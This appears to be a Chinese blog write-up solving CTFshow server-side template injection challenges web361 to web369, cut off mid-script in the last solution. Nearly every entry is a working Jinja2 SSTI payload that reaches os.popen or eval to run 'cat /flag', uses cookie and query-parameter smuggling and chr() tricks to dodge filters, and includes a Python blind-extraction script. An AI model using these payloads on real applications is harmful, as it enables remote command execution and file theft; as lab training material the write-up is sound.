您当前的位置: 首页 > 

yu22x

暂无认证

  • 3浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

CTFSHOW SSTI篇

yu22x 发布时间:2021-01-08 11:03:21 ,浏览量:3

文章目录
    • web361
    • web362
    • web363
    • web364
    • web365
    • web366、367
    • web368
    • web369
    • web370
    • web371
    • web372
        • 跟大佬交换了思路学到了可以用全角数字代替正常数字,大家可以自行探索了。。。。。。
建议大家先看下笔者之前写的 模板注入的文章

web361

payload name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

payload ?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

web363

payload ?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /flag').read()

web364

payload ?name={{x.__init__.__globals__[request.cookies.x1].eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web365

payload ?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}} cookie传值 Cookie:x1=__builtins__;x2=__import__('os').popen('cat /flag').read()

web366、367

palyoad ?name={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} cookie传值 Cookie:x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat /flag').read()

web368

简单解法

import requests
import string
url ='http://826c9e0c-29d3-44de-9689-9f94eec68f1b.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}'
headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag'''}
r=requests.get(url,headers=headers)
print(r.text)

复杂解法(盲注) payload

import requests
import string
url ='http://85302b44-c999-432c-8891-7ebdf703d6c0.chall.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,43):
	print(i)
	for j in s:
		x=flag+j
		headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
		r=requests.get(url,headers=headers)
		#print(r.text)
		if("1341" in r.text):
			flag=x
			print(flag)
			break
web369

简单解法

http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

复杂解法 方法1、读文件盲注

import requests
import string
def ccchr(s):
	t=''
	for i in range(len(s)):
		if i            
关注
打赏
1617522777
查看更多评论
0.0396s